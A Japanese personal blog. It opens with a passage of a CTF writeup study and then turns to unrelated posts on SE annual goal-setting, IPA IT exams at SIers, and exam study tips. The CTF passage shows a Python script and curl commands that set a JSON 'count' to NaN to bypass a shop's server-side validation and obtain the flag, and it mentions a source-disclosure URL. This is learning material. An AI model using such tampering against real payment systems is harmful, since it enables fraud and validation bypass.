クッキーは偽装するとサーバエラーが返ってくる仕様っぽかった。ぶっちゃけ書きますと上手くクッキー偽装が出来ているのか、また狙い通りのリクエストが投げられているのかわからなくて、疑心暗鬼になって変に拘ってしまってました。

あとクッキー偽装がフラグを取得する正しい道なのか、迷いながらチャレンジしていました。

「もしかして正しいクーポンをどこかから探す問題なんじゃないかしら」と考えてしまうと、やっぱりクーポン探しが正しい道なんじゃないか、いやいやちゃんと礼儀正しくリクエスト投げれていないだけなんじゃないか、とフラフラしてしまった。


まぁいつもことだけど。


writeupスタディー

writeupを眺めていると、POSTリクエストのJSONデータ改竄が正解でした。 問題画面のASIS FLAGにチェック、クーポン入力欄に「aaa」と入れて「pay」すると以下のデータがPOSTされます。

  {"card":[{"name":"asis","count":1}],"coupon":"YWFh"}

このカウント値を改竄してサーバサイドの入力チェックを回避するというのが具体的な手法になります。

現時点で4つのwriteupがCTFtimeで公開されていますが、3つがNull的な値への改竄、1つが極小の値への改竄でした。

具体的にwriteupの詳細を見てみると、いくつかのチームはソースコードを見つけています。もう公開されていないですが、こんなURL。

http://46.101.173.61/image?name=app.py

ここにアクセスするとソースコードが見れます。 ただどうやったらこのURLにたどり着けるかがwriteup文中に無く今でもわからない。


Null値への改ざんで解いているチームのwriteupを見ていると、Noneではだめらしい。
確かにNoneを送信すると、ステータス500のInternal Server Errorで返ってきた。 これもどこで弾かれているのかよくわからない。

正解はNaNで送信するとのこと。

仕組みが理解しきれていないもどかしさはありますが、とりあえずやってみた。
一番簡単なのはローカルプロキシを使ったリクエストの改竄ですか。

これがBurpで止めたパケット。 f:id:kwnflog:20180503172753p:plain


これをこう改竄。 f:id:kwnflog:20180503173340p:plain


すると、このようなレスポンスでフラグが取れた。 f:id:kwnflog:20180503173355p:plain


やっぱりスクリプトでやりたいよね、って思ってPython3でやってみた。
payloadを定義するときにnanを""でくくると文字列になってしまうので、うまく通らない。逆にくくらないと「そんな文字列定義されてねー」とPythonに怒られる。

試行錯誤した結果、numpyのnanで指定するとうまくいった。

import requests
import json
import numpy

url='http://46.101.173.61/'
urlpay=url+'pay'

headers={'Content-Type': 'application/json'}
payload={"card":[{"name":"asis","count":numpy.nan}],"coupon":"YWFh"}

s=requests.Session()
s.get(url)
r=s.post(urlpay,headers=headers,data=json.dumps(payload))

print(r.text)

# {
#   "data": [
#     {
#       "data": "ASIS{th1@n_3xpens1ve_Fl@G}\n",
#       "flag": "asis"
#     }
#   ],
#   "result": "pay success"
# }


writeupの中にはcurlでやったというのもあったので、これも実際に動かしてやってみた。

> curl -c cookiejar http://46.101.173.61/
> curl -X POST -H "Content-Type: application/json" -d "{\"card\":[{\"name\":\"asis\",\"count\":NaN}],\"coupon\":\"YWFh\"}" -b cookiejar http://46.101.173.61/pay
↓
{
  "data": [
    {
      "data": "ASIS{th1@n_3xpens1ve_Fl@G}\n",
      "flag": "asis"
    }
  ],
  "result": "pay success"
}


JSONデータを指定するところでエスケープ処理が必要なことに気付かなくて苦戦しましたが、無事カールおじさんでもフラグは取れました。

cURLはオプション指定すぐ忘れるから普段使ってなかったんですが、Chromeを使うと簡単にコマンドを作れるらしい。知らんかった。

ChromeのHTTPリクエストから簡単にcURLを作成する方法 | FastPress


まとめ・所感

writeupスタディーを通しての気づき、まとめなど。

・なぜソースコードのURLを特定できるのかは不明 (Flaskに関係する?)
・何でNoneじゃだめなのよ
・Burp、PythoncURLでとりあえずフラグは取れた(writeupを見ながら)
Pythonのrequests.Sessionが便利と知れた
・初めてcURLでフラグとれた(Python派。初心者なので派とかねーけど)
・null系をPOSTする問題って前にもあったなぁ


writeupスタディーと言いながら、不明点が残っているのはダサいですが、まぁおいおい・・・ね。

とりあえずwriteupを見ながら動かしてみたので、今回はそれでOKとします。


おわり。

サラリーマンSEの目標設定 - 記載例・サンプル

こんにちわ。

私はとあるSIerにて社畜量産型のSEとして日々無駄なシステムを作って給銀をいただいております。以前以下のエントリを書いたんですが、4月中程より「SE 目標設定」というキーワードで私の駄文にアクセスしに来らるる方が多くなりました。

 

kwnflog.hatenablog.com

 

これは恐らく会社から「1年の目標を立てろ」という指令を受け取った全国の量産型SEが、イナゴの大群の如くエサ(コピペ素材)を求めて押し寄せて来られたのだと思います。

「どんな内容を書いたらいいのかしら?」とか「どうせ評価にも反映しねーんだからササッと片づけたいわ」って皆さんお考えなのでしょう。えーわかります。わかりますとも。車輪の再発明というと若干違いますが、皆がそれぞれ考えるのは無駄なので、記載にあたってのポイントとサンプルをまとめます。

 

目標設定のポイント

現状把握、強みと弱み

まずは現状把握をする。自分の強みと弱みを整理して、強い所は伸ばす、弱いところは補強するという大方針を立てる。そして現業務と目標設定期間の業務を考慮した目標を立てる。特に目標設定の面談がある場合は、「なぜこの目標なのか」という根拠があった方が説明しやすいので、自分のいるプロジェクト、その中の立ち位置を考えて目標を立てることが大切。クソ上司から指摘されて修正するのは時間の無駄なので、指摘を論破するための根拠として現状把握はしっかり整理することが望ましい。

 

5年計画・10年計画

ここでいきなり将来の事を考えてみようのコーナーです。5年後10年後に今の会社に在籍していると仮定して、中長期の観点で自分のなりたい姿を考える。目標設定制度が機能している組織では今後の自分の進む方向性が整理できるし、機能していない会社でもバカみたいな指摘に反論する材料となる。5年、10年先輩の人を思い起こしてみてください。「その人のようになりたいか」という見方は計画を立てる中で有用な観点となります。

 

中長期計画をブレイクダウン

5年後10年後のなりたい姿を思い浮かべたら、その目標点に到達するために現状足りないスキルを洗い出す。更にその中から優先順位を付けて、順位の高いモノを今年の目標に据える。ここで考える事は、あくまで中長期を見据えた目標のファーストステップであるということです。「1年後にこれが出来るようになっていたら」ということはここでは考えません。1年後のレベルアップは上記の「現状把握」のコーナーで考える。ここでは中長期を軸にして、将来のためのステップという軸で計画していることを意識する。例えば堅いシステムのインフラ屋なら、”Infrastracture as Code” が5年後には一般的になると考えて、その時にどのミドルウェアの勢力が強いかわからないけど、とりあえずAnsibleやってみるかとか。じゃあ、そのための第一歩は何だろうと考えて、情報収集するとか、遊べる環境でとにかく動かしてみるとか、そういうことになります。

金融系などの堅いシステムでは「とりあえずAnsible使おうぜ」とはならないので、これを1年後に役立つと考えて目標設定すると、クソ上司から「そんな聞いたことないソフトは金融系では使わんっ!」となってしまいます。なので、「5年10年後はこうなると考えているので、まず今年は調査をします」と言える状態がベストです。

 

組織の目標

最近は組織としての目標や上司の目標が先に提示されているケースがある。ようは、組織や上位者が作った目標を達成するために、社員が個々にどう貢献していくかを目標設定させられるケース。例えば組織目標が「生産性を高めて短納期化を図る。利益率5%アップ」である場合は、ヒラ社員は空気を読んで、生産性を高める施策を個々に考える方向で目標を立てる必要がある。自分の将来なりたい姿はそれはそれで意識するが、組織への貢献の仕方も考慮した目標が求められるというわけ。ここで注意しておくことは、組織や上司の目標をキチンと押さえておくことです。目標設定の制度に付随していなくても、組織の年度目標を説明する社内説明会などが、それなりの規模のSIerならあると思います。そこで説明された部署や上司の目標をしっかりと聞いておき、それをブレイクダウンした形で個人の目標を設定できれば、クソ指摘を受ける可能性が少なくなります。好き勝手自分の技術指向で目標立てるんじゃなくて組織への貢献を考えて異質過ぎない範囲で目標を立てることが大事です。

 

●記載例

技術系スキル

資格

情報処理試験
ベンダー試験
  • Oracle Bronze取得(3月)
  • LPIC Level1 101試験合格(3月) (来年度に102試験を受験し、認定を受ける計画)
  • GAIT試験500点取得
  • ITIL Foundation 認定取得

勉強する系

  • 〇〇分野の技術書を使った学習(1冊/期)
  • 〇〇技術の習得
  • 〇〇分野の社外勉強会に参加

研修系

  • 〇〇分野の技術研修を受講
  • △△展示会に参加し、最新動向を把握、参加報告書提出

技術分野一覧(上記〇〇に代入)

流行に乗る系

AI(機械学習ディープラーニング)、エッジコンピューティング、スピーカー(Echoとか)、IoT、自動運転車、RPA(ロボット)、 VR・AR技術、ドローン、ブロックチェーン、X-Tech(Fin-Tech等)、ビッグデータ、データサイエンス、R(その他統計学関連ライブラリ等)、ウェアラブルバイスマイコンRaspberry PiArduino)、セキュリティ、脆弱性診断、デジタル化、リーンスタートアップスマートハウス、Infrastracture as Code(Ansible,Chef,etc)

保守的な組織でもそろそろ受け入れられる系

コンテナ(Docker)、Git(ソースコード管理)、WifiBluetoothオープンソース周り

割と新しいけどもう大丈夫でしょ系

クラウド、仮想化(サーバ、クライアント、ネットワーク)、モバイルアプリ、セキュリティ、 DevOps、アジャイル、UX

絶対大丈夫系

OS:WindowsServerXX、Linux系、Unix

プログラム:各種言語とフレームワーク

DB:OracleMySQLSQLサーバ、NoSQL全般、SQL

NW:シスコIOS

WEB:HTML、PHPCSSJavaScript(本体、フレームワーク)

その他:各種テスト技法、UML、プロジェクトで使っている技術

 

非技術系スキル

SEに特に必要な非技術系スキル

  • 資料作成スキルの向上(レビュー指摘件数〇件以下)
  • 議事録作成スキル向上
  • ライティング能力の向上(報告書、メール、その他業務文書)
  • 会議進行、ファシリテーション技術の習得
  • ロジカルシンキング、論理思考力の向上
  • デザイン思考の習得、または調査
  • コミュニケーションスキルの向上(主語を入れる、結論から話す、相手に理解してもらう言葉選び)
  • 個人情報保護士合格
  • プレゼンテーション能力の強化(スライド作成、喋り)
  • デザインスキルの向上(カラーリングなど?)
  • 営業力向上(営業同行5件/年、受注1件)
  • 提案力の向上(研修受講、勉強会参加)

一般的なビジネススキル

  • TOEIC 500点
  • 簿記3級合格
  • 企業会計、財務諸表の読み方
  • リーダーシップ(〇〇チームのリーダーを目指し管理スキルを向上)
  • 数学、統計学に基づく分析手法の学習(検定、回帰分析)
  • 経済学に基づく分析手法の学習(マクロ、ミクロ)
  • マーケティング手法の学習

その他ビジネスモデル、新し目の手法

マネジメント

QCD

品質
  • 製品、システムの不良件数を〇件以下にする。
  • 重大なドキュメント不良を〇件以下にする。
  • システム障害件数0件
  • 障害復旧時間短縮に向けた施策検討、提案
費用
  • プロジェクトの業績状況を月2回集計し上司に報告
  • プロジェクトの業績状況を作業フェーズ毎に上司に報告
  • プロジェクトの進捗状況・業績状況を上司に週次報告し、赤字プロジェクトの発生を予防
  • プロジェクトメンバーの作業負担を平準化し、過度な残業を行うメンバーがいないようにする
  • 残業時間を月平均〇時間以下にする。
  • 単月の最長残業時間を〇時間以下にする。
  • 業績管理システムの見方、使用法を学びマネジメント力を向上
  • 見積り精度の向上(研修、書籍、過去の赤字案件の調査)
  • 見積り手法の習得(ファンクションポイント、類推法、他)(参考:エンタプライズ系事業/見積もり手法:IPA 独立行政法人 情報処理推進機構 )
納期
  • 納期遅延 0件(顧客側に主因があるケースは除く)
  • 指示された作業の期限を守る。間に合わないと判断した場合は即座にリーダーに報告する。
その他・共通
  • プロジェクト管理手法の学習(PMBOKPMP
  • ITサービスの品質向上(ITIL) 

リーダーシップ・指導系

  • 誰それをドコドコのPLが出来るように指導する。
  • 〇〇プロジェクトのPLを引き継げるように意識してPL業務を学ぶ
  • コーチング手法の習得(研修、書籍)

 

生産性

個人

作業時間
  • 生産性を上げて作業時間を削減する。前年比5%減少
  • 〇〇による稼働時間、残業時間の短縮
  • 時間外労働を月30時間以内に抑える
  • 会議時間の短縮化を目指すため、終了時刻を意識して会議進行をする
  • 1つの会議は最長でも50分以内に終わらせる
ツールの導入・開発
  • ツールを導入しメンバー間のコミュニケーションコストを低下させ生産性を高める  (インスタントメッセージ、Git、Redmineとか)
  • 生産性向上のためのツール類の調査・検討
  • 〇〇ツールを開発し作業を自動化することで週△時間の効率化を図る
文書のテンプレ化と整理
  • (設計書、手順書、管理資料)のテンプレートを作成し、生産性向上と属人性の排除を図る
  • ファイルサーバの整理、既存資産の棚卸を行い全体を整理する
  • ファイルサーバの既存資産を整理し、全体を構造化することで生産性向上を図る

チーム

SE業務関連
  • 手順、ノウハウを共有する勉強会を開催(1回/期)
  • プロジェクト終了後に振り返り会を実施し、得られたノウハウと問題点を全体共有する(各プロジェクト)
  • 〇〇の見える化(プロジェクト状況、問合せ回答状況、属人的なノウハウ)
社内業務関連
  • 〇〇業務の部署内担当を引き継ぐ。(セキュリティ担当とか棚卸とか物品管理といった部署内の雑務を先輩から引き継ぐ感じ)


提案系

新事業

  • 新事業の提案(1回/期)
  • 部内アイデアソンを実施、またはそれに向けた提案、計画策定

部署、チームイベント

  • チームの一体感を醸成させるイベントを提案する。(1回/期)
  • 〇〇分野の学習を進め、部署内勉強会を開催する。(1回/年)
  • 自部門の業務内容の分析と見直し提案(BABOK)
  • 部署間交流を深めるために社内イベントへ参加し、他部署メンバと情報交換出来る関係を構築する。

未分類 

  

以上です。思いついたら随時更新します。 

 

SIerにおける情報処理試験の現状(2018年)

先日、2018年春季の情報処理試験が実施されました。私は久々に受験したのですが、いま日本のSIer情報処理試験がどういう位置づけで捉えられているか、また企業内ではどうなのか、ということを考えてみたのでこのエントリでまとめようと思います。

目次

 

世間での位置づけ

SIer情報処理試験が好き

「会社が」という意味です。私が勤めている会社の事は後述しますが、ある程度の規模のSIerでは人事評価の仕組みに情報処理試験を取り入れているところが大半であると思います。

 

理由は簡単。

一つは技術力を測る共通のモノサシが無いからです。技術の進化、そして流行り廃りが早いIT業界ですから、多くの社員の能力を測るための共通の指標がありません。そこで誰でも挑戦できて、結果がはっきりとわかる試験を評価基準の1つに据えているというわけ。

二つ目は受注の条件となるケースがあることです。明確に入札条件となっている場合もありますし、契約の中で〇〇試験合格者、または相応の知識・経験があることと指定されてるケースも見たことがあります。

そして副次的な効果として、(一応)試験に合格するためには各技術分野を網羅的に学習する必要があることから、社員のスキルアップを図れるという理由。

 

関連情報としてThinITの記事です。「日本のIT企業に勤めるための試験」というタイトルで皮肉かと思いきや肯定的な内容でまとまった記事。試験は目的と使い方次第よという話。

情報処理技術者試験は、「日本のIT企業に勤める」ための試験(第3回) | Think IT(シンクイット)

  

 

統計情報から分析してみよう

IT業界で「所詮は資格」と言われる代表選手である情報処理試験。そんな言われ方をされることもあるけど実態はどう扱われているか、IPAが公表する統計情報から考えてみる。

 

まず受験者推移。

f:id:kwnflog:20180418183644p:plain

IPAの統計情報より(https://www.jitec.ipa.go.jp/1_07toukei/oubosya_ruikei.pdf

 

「所詮は資格」という考え方が広く知れ渡ったのか、平成22年に応募者は62万人いるが、平成27年には45万人まで減少。しかしながら平成28年、29年には受験者が増加し昨年は51万人まで上昇。 

 

日本の人口は平成21年に1億2800万人、平成29年には1億2670万人で約1.1%の減少。

総務省統計局:http://www.stat.go.jp/data/jinsui/2017np/index.html 表1参照 )

つまり人口の減少によって単純に縮まった数字ではない。IT業界で働く人数の時系列データは見つからなかったが、平成22年と比較すると平成29年では応募者ベースで17%減少している。なぜこれだけ減っているのかと考えて、IPAが公表している別のデータについても集計・分析を試みた。

 

f:id:kwnflog:20180418193030p:plain

IPA公表データから作成:https://www.jitec.ipa.go.jp/1_07toukei/_index_toukei.html )

受験者推移(上表)との間で数字の違いがあるが、元々公表されている集計データと各年度データで差異があったのと、比較軸を合わせるために一部を修正した。(H22からはITパスポート除外、H29からはセキュマネ除外)

 

こちらの数字で比較すると顕著な減少数となっているのは、「ソフトウェア業」、「情報処理・提供サービス業」であった。一般にソフトウェア業はOracleとかトレンドマイクロとか、国内だとオービックとかジャストシステムがそれにあたるらしい。

全体的に減少傾向があるものの、減少した10万9千人の内、IT関係業(表の上から3行)は8割以上を占めている。応募者全体の内、IT関係業は50%前後であることから、IT業界側が受験しなくなっている傾向が見て取れる。

 

とはいえ、平成22年のIT業界側企業の応募者は27万人、平成29年では18万人というそれなりに大きな数字になっている。これはIT業界の就業人数と比較するとどれくらいの割合が受験しているのだろうか。

大よその数字として、IT業界及びユーザ企業側のIT人材を合計すると、100万人程度になっている模様。

( 経産省資料: http://www.meti.go.jp/policy/it_policy/jinzai/27FY/ITjinzai_report_2.pdf )

 

上表ではITパスポートと情報セキュマネといった主にユーザサイドに需要のある試験区分を除外しているため、主な受験者はIT業界の従業員かユーザ企業のシステム担当で構成されている。そのため上表の社会人合計は上記の経産省資料における就業人口100万人を母数に持つ数字になっていると考えられる。

社会人合計の数字をみると、平成22年で42万人、平成29年で32万人が試験に応募している。本項冒頭の受験者推移表を正と見ると、もう10万人ほど上積みされる可能性もある。IT関係の就業人口が100万人なのに対して、社会人の応募者はおよそ35万人~45万人になると考えられる。

つまり ITに関係した仕事をしている人の内、10人に4人が応募する試験ということになる。

 

これを多いと見るか、少ないと見るかは人それぞれだと思いますが、私は思ったより多いというのが感想です。会社に受けろと言われて嫌々受験して合格した人などは既に卒業しているだろうし、現場に出ない管理職はあまり受けないだろうし、という部分を引くと現役エンジニアの内、必要な試験区分に合格できていない人の多くは真面目に応募し続けているのだろうと思われます。そう考えると応募者多すぎな感もあるくらいですが。

 

 

SIerの中の話

企業内における情報処理試験の位置づけについて、私が勤めているSIerの中の話を書いていこうと思います。

私は中堅規模のSIerに勤めている社畜SEです。SI事業をやっている大手企業のグループ会社で、社員には「絶対に情報処理試験受けろよ」と言っているような会社に勤めています。そんな会社の中で必要な試験に合格していると、どんな素晴らしいことが起こるのか、また会社の社員の中ではどのような位置づけに捉えられるか、私の半径数メートルの世界の内容も入りますが書き記してみます。

昇給 

私が勤めている会社では、情報処理試験に合格すると昇給するケースが多いです。評価する側としても、合格したことは紛れの無い事実ですから、昇給させる理由があるというわけです。私が所属している部署では社員が5拠点に点在していて、それぞれやっている仕事も違う。それに使っている技術やそのレベルも違うものだから、公平に評価するということはなかなか難しいんです。プロジェクトごとの業績や、それに対する寄与度で評価していくのが正しい姿ですが、そもそも利益率はある程度プロジェクトごとに決まっているから、業績の悪いプロジェクトに入った社員の評価が上がらないでは不公正だし、各社員の寄与度なんてのは現場にいない管理職には実態が見えず公平に評価するのはやはり難しい。こんなわけで、全員に公平にチャンスがあって、会社も激推ししている情報処理試験は個人評価に使いやすいというわけなのです。 

手当て

うちの会社では合格すると手当がもらえます。細かい規定は書けませんが、高度区分に合格すると条件次第で5万円~15万円がもらえます。基本と応用でも条件次第でもらえますが、応用まではお小遣い程度の金額です。役職や年齢によって、結構細かく条件が決まっています。

昇格条件

役職を上げるための昇格条件にも情報処理試験の合格が必須です。一般的な役職をベースに書きます。

係長クラス:応用情報処理合格

課長クラス:高度情報処理合格

基本情報は昇格条件に当たりませんが、新卒入社の新人君が数年経っても取っていない場合は徐々に風当りが強くなり、どんなスペシャルな活躍をしても一定以上の給料には上がらない仕組みになっています。

持っている人の割合

私が属している部署や、その他何となく情報処理試験の話になったときのことを思い出すと、高度が1~2割、応用は2~3割、基本情報は8~9割くらいの人が持っている感じです。若手を除いて基本情報を持っていない人は、もうダメな人か、「資格ごときで評価すんな」という反体制派の人です。

高度区分に合格している人は、複数区分合格していることが多いのも特徴です。私もそうなんですが、技術力はともかく試験対策が上手い人は上述の手当を狙って受け続けている人が多いです。自分の得意な試験区分+国語問題が多いセキュリティとか、セキュリティ+それに似ているネットワークとか、そんな組み合わせが多い印象。

資格マニアを生み出しやすい制度にはなっていると思います。

社員の意識・捉え方

多くの社員は役職相当の試験区分に合格してればそれでいいや、と考える風潮があります。基本情報は持っていないと、受かるまで春と秋の時期を中心に迫害されるため、何とか合格しようというモチベーションが生まれます。あとは昇格がチラつきだしたところで、役職に応じて応用・高度と狙っていく人が多いです。

大体ヒラ社員クラスだと、応用情報を持っていると「へー凄いのね」という感想を持たれます。ヒラ社員の一部に極々稀に高度区分を複数持っている人がいますが、そんな人は「怪物」「HENTAI」といった崇められ方をします。高度区分の合格率が15%程なのでそんなHENTAIでもないと思いますが、役職で要求される以上の勉強をして試験を受け続ける姿を見てマゾヒズムを感じているのだろうと思います。

持っていてよかったなと思える時

私はセキュリティとネットワークを持っていますが、持っててよかったと思えるのは以下の2点です。

 

◆一目置かれる感じがある

それこそペーパーテストで合格しただけですが、SIerの中やそこに関係する人からみると、高度区分に合格していることはなかなか凄いと評価されることが多いです。合格率がそんな低いわけではないし、過去問も公開されているし、テスト対策のテクニックも出回っているしで、実はそこまで難しくはないんですが高い評価をされることが多いです。たぶんこれはSIer周辺に日本の偏差値教育のトップ層があまりいないことに原因があると思います。勉強する習慣を持っている人が少ないってことですね。

また仕事上、初めて会う人にも高度を持っていると伝わると安心感を持たれることがあります。私はサーバ屋の仕事が多いんですが、特にネットワークスペシャリストを持っていることが伝わると、業務を行う上で最低限必要な知識は持っているんだなと勝手に解釈されることが多いと感じます。サーバ屋としてネットワークの知識が必要になることはそう多くありませんが、何かあった時にネットワーク屋と技術的な会話ができる人と勝手に思われて重宝してくれます。

 

◆基本情報を持ってなくて迫害される人を見たとき

上述しましたが、新卒入社の新人ちゃんが入社後、数年経ても基本情報を持っていないと社内的に風当りが強くなります。それが更に進むと迫害に近いレベルとなります。例えば部署の全体で集まるミーティングの場で、誰それはまだ基本情報を持っていないから本人はちゃんと勉強するように、周囲の人はそれに配慮するように、なんていうお触れが出たりします。また試験結果も全体ミーティングで晒されます。

全体のミーティングにおいて名指しで晒しものになるのもキツいですが、直属の上司も「部下に資格取得させられないやつ」と評価が下がります。自分が合格できないのは自分の所為で納得出来るだろうけど、周囲の人の評価にも影響が出るのがまた辛い。

こういう状況になるとSIerに入社してくる一般市民は「次は絶対に取らないと大変なことになる」と真面目に考えてしまう。更に周りにいる傍観者たちは「次は受かるんだろ?な?大丈夫なんだよな?」と、あたかもケツを叩いているように見せかけて、安全な場所から四苦八苦する彼の反応を楽しむような空気感さえ出てくる。(何か最近聞いたような) 

といっても急に「次の試験で合格しろ」と言われているわけではなく、ある程度の期間の猶予があって、その中で会社がどれほど情報処理試験に重きを置いているかは社員に伝えているし、未取得者にはそれなりの投資をして受からせようとしてきている事が前提なので、迫害される理由があってのことではありますが。

ただこういうケースを目のあたりにしていると、「嗚呼持っていてよかった」と思います。

  

終わりに

SIerのSEとして仕事をする中で、情報処理試験がどういう扱いを受けているか整理したくなって、本エントリを書きました。IPAが公表するデータの分析は当初やる気なかったんですが、エントリを書いていると疑問が湧いてきて調べてしまいました。結果的に面白い数字が得られたので調べた価値はあったなと思いますが、数字をいじっているときには、ふと(おれは一体何をやっているのだろう)と我に返り、(何かこういうことを書きたいわけじゃない気がする)と思った時もありましたが、何とか書き上げられて満足です。

 

おわり

 

高度情報処理試験ー午後問題の勉強法【まとまった時間が取れない人向け】

先日、2018年春季の情報処理試験(データベース)を受験してきました。午前は問題なく突破できたものの、午後は若干怪しい感じがしています。

そこで今回の試験に向けて勉強した内容や量は適切だったかと振り返ってみると、今までの勝利パターンからは外れた勉強法をやっていたことに気づきました。

 

そこでこのエントリでは、今まで私がやってきた高度情報処理試験における午後試験の勉強法を紹介します。

なお対象はスペシャリスト区分と論述を含む試験の午後Ⅰとなります。

 

私のスペックは以下の通りです。

 ● FE、AP、SC、NW 取得済み

 ● 非情報系学科卒業

 ● SIerでサーバインフラ屋を10年ほど

 

目次

  

0.勉強方針

まとまった時間が取れないリーマンSEの鬼門は何と言ってもやはり午後の試験区分です。午後の試験では問題への慣れ(問題文の読み方や書き込み内容、定番の回答文句など)が合格の確率を上げるキーポイントです。

しかし午後Ⅰでも1問あたり45分の時間を意識して問題を解かなくてはいけないので、答え合わせや解説の読み込み、振り返りをすると1回の演習で2時間は確保しなくてはならない。午後Ⅱでは真面目に演習すると少なくても3時間は必要になってくる。

しかも本番では午後試験がヤマバになるため、勉強しづらいところが重要になる作りになっている。

 

このエントリは次項に続く通り、

①基礎を固める ②午後問題を流す ③本番で頑張る

この三点で進める作戦です。基礎を固めて、応用は流す程度、本番では固めた基礎を元に応用的に問題を解く。

 

難しい所を流す程度に進めるため、どうしても正攻法で学習するよりも合格可能性は低くなってしまいますが、その分勉強や試験に向かって行くストレスは少なくなりますし、勉強時間の取れないリーマンSEでも合格圏に届く方法になります。

「合格出来ないと死ぬ」という方は正攻法で学習してください。

 

1.基礎をガッチガチに固める

まずは基礎をガチガチに固める。適当な参考書を1冊買って、まずは書いてあることを理解しながら読む。理解できないところはググるか、別の参考書を立ち読み。

 

これを計5周は読む。これでOK。

「そんなに読めるかクソヤローが」と思うことなかれ。

 

最初の1周で書いてあることは一度全て理解しているわけです。なので2周目は一度理解した内容を読むわけだから、ようは一周回ってきて忘れた内容を再度理解する作業になります。

1周目に20時間かかったとしても、新しい内容を理解するわけではないので、2周目は10時間とかそれくらいで読み終わることができます。で、3周目くらいからは記憶の定着もあって5時間、4週目は3時間、5周目は1時間で読み終えます。

 

この時点で書いてあることの大半は覚えている状態になっています。後はたまにパラパラと眺めたり、午後問題をやっている時に忘れた内容を振り返ったりするだけ。

これだけやって覚えられない内容は素直に暗記してください。

 

ここでの目標は午前問題でパーフェクトを取れるようになる事ではありません。あくまで午後区分の問題で応用的に問題を解けるようにするための土台を作るところです。結果的に午前区分は90点台を取りうる状態にはなりますが、目指すは午後攻略のための基礎固めです。

 

2.午後区分の勉強は読書感覚で

鬼門の午後対策です。

午後の勉強は制限時間を気にせず過去問と解説を読む。

例えば朝の通勤時の電車で座れた10分間とか、昼食後の10分とか、帰宅後に30分とかでOKです。家や職場で過去問を印刷するか、過去問題集を購入してください。

 

午後区分の勉強をしようと思うと、 

 まとまった時間が取れない → 勉強しない

という負の連鎖に入り込み、やる気を削がれたり逃げたりしがちです。

この連鎖を断ち切って、継続的に勉強するためのクサビを打つのが目的です。

 

制限時間を気にしないと本番でタイムオーバーになってまうやんか、と思うかもしれませんが実はそうでもない。

 

午後問題の回答時間を短縮するには、以下の二点を高速化することに帰結します。

・回答のための根拠を本文から探す

・回答を作る

 

故に多くの問題を読んで、その試験区分における「いつものパターン」や「アンチパターン」を理解して問題文を読んだ時に即座におかしな所に気付くことや、定番の回答文句を使いまわして素早く回答文を作れるようになることが大事なポイントになります。

 

おかしなところに気付くアンテナも、定番文句を使えるようになるのも、結局のところは如何に多くの問題に触れて頭を使ってきたかによります。

 

ベストは解説付きの過去問題を手元に用意して、

・問題文を眺める

・何となく考えてみる

・答えを見る

・解説を読む

を繰り返すことです。

 

本番までに1回は紙に回答を書いて、どのくらいの時間がかかるのかを計測しておいた方がいいですが、それはあくまで時間感覚の調整に過ぎません。

時間感覚を身に着けて解ききることも重要ですが、試験合格に向けて勉強をしていく中では、正しい回答を導き出せる能力の方が重要です。

  

あと高度試験の午後は【そもそも勉強する気がおきないパターン】にも陥りやすく、このやり方は効果的です。

  

試しに自分が勉強している区分の午後問を適当にダラダラでもいいので、1問読んでみてください。午後Ⅰ区分であれば15分もあれば読み切れます。

 

どうでしょう

 空欄埋めてみたくなってませんか?

 設問に答えたくなってませんか?

 答え気になりませんか?

 

恐らく多くの人は、目の前に自分が勉強している分野の問題を出されたら反射的に答えを考えてしまうのではないでしょうか。そして一度考えてしまうと、答えが気になってしまうものです。

 

ダラダラと問題文を読書していると、空欄を埋めたくなるし、設問で問われている内容に答えたくなるもので、答えたら正解が気になるし、正解を見たら何でだろうとか、そこに至るプロセスが正しかったか気になってきます。 

で、隙間の時間にダラダラと問題を眺めていて、ふとした時にあーかなこーかなと何となく考えていると、それはもう試験勉強なんですよ。

 

3.本番で頑張る

ここまで基礎をガチガチに、午後問をダラダラと書きましたが、やはりこれだけでは午後区分はやや対策不足です。試験合格を目指して毎日机に向かって時間を計りながら午後問を解いてきた人と比べると合格可能性は低いでしょう。

 

しかしそれを埋めるための銀の弾丸」はありません。(言いたいだけ)

マジメに試験合格を目指して来たガチ勢と比較すると合格率は低いかもしれませんが、しかし合格できないわけではありません。やり込み度合いによりますが、十分闘える状態に仕上がっているはずです。

 

あとは知識不要な国語問題を落とさないようにする事やイージーミスでの失点を発生させないように本番何とか頑張れば合格圏の点数は十分取れる可能性があります。

だから、本番は死ぬ気で頑張る。

 

おまけ-纏まった時間というかそもそも勉強時間が取れない人

このエントリでは対象にしていませんが、全然勉強時間取れないよーと言う方は、1つは諦めるのも手です。

申し込んだ ⇒ 勉強しないと ⇒ 勉強時間がとれない ⇒ 鬱

となるくらいならアキラメロン。

 

試験区分の内容を少なからず業務でやっていたことがあるなら、

IPAで公表されている午前問題を出来るだけ解く。

②午後問題は上の項番2で書いたようなダラダラ読む戦略

で闘える状態にはなると思います。

 

午前問題は3~4割くらい過去問と同じだし、勉強してなくても知っている用語の問題は正答可能、知ってる用語や経験や常識で選択肢を落とすことも可能です。

 

過去問と同問:3割:全部取る

二択まで絞る:3割:半分とる

三択まで絞る:3割:三分の一とる

絞れない  :1割:25%取る

 

これで期待値は100点中で30+15+10+2.5=57.5点 となる。後はうまくエスパー出来れば突破可能。

 

午後は上に書いたダラダラ勉強法で1回分だけでも問題を読んでみれば読解力の高い人なら合格点を取れるかもしれません。1回分すら読めないほど忙しければ、そもそも試験日に会場に到達できない可能性が高いのでアキラメロン。

  

終わりに

こうやって文章にして纏めてみると、この勉強法は技術者にとって実は効率的な学習方法なんじゃないかと思ってきました。試験合格を目標にするなら、IPA試験に特有の国語問題を解けるようになる必要があります。しかし技術者にとってはIPA特有の問題が解けるようになっても、大きくスキルアップできるわけではありません。

それよりも基礎理論とかプロトコルといったSEに必要な知識・技術を学ぶ方が技術者としての成長に繋がるのではないだろうか。今回紹介した勉強法はその基礎部分を固めつつ低い労力・ストレスで試験合格を目指すものです。

 

まとまった時間が取れないから、基礎だけ固めて試験に臨む。私はSCとNWはこのやり方で突破することができました。今回受験したDBはちょっと怪しい感じがしていますが、十分闘えました。ER図を書くのはある程度演習しないといけないなと思いましたが、まぁ落ちていたとしても十分勉強になりました。

 

ただやっぱり時間が取れるなら午後問題の勉強はしっかりやった方がいいですよ。

  

おわり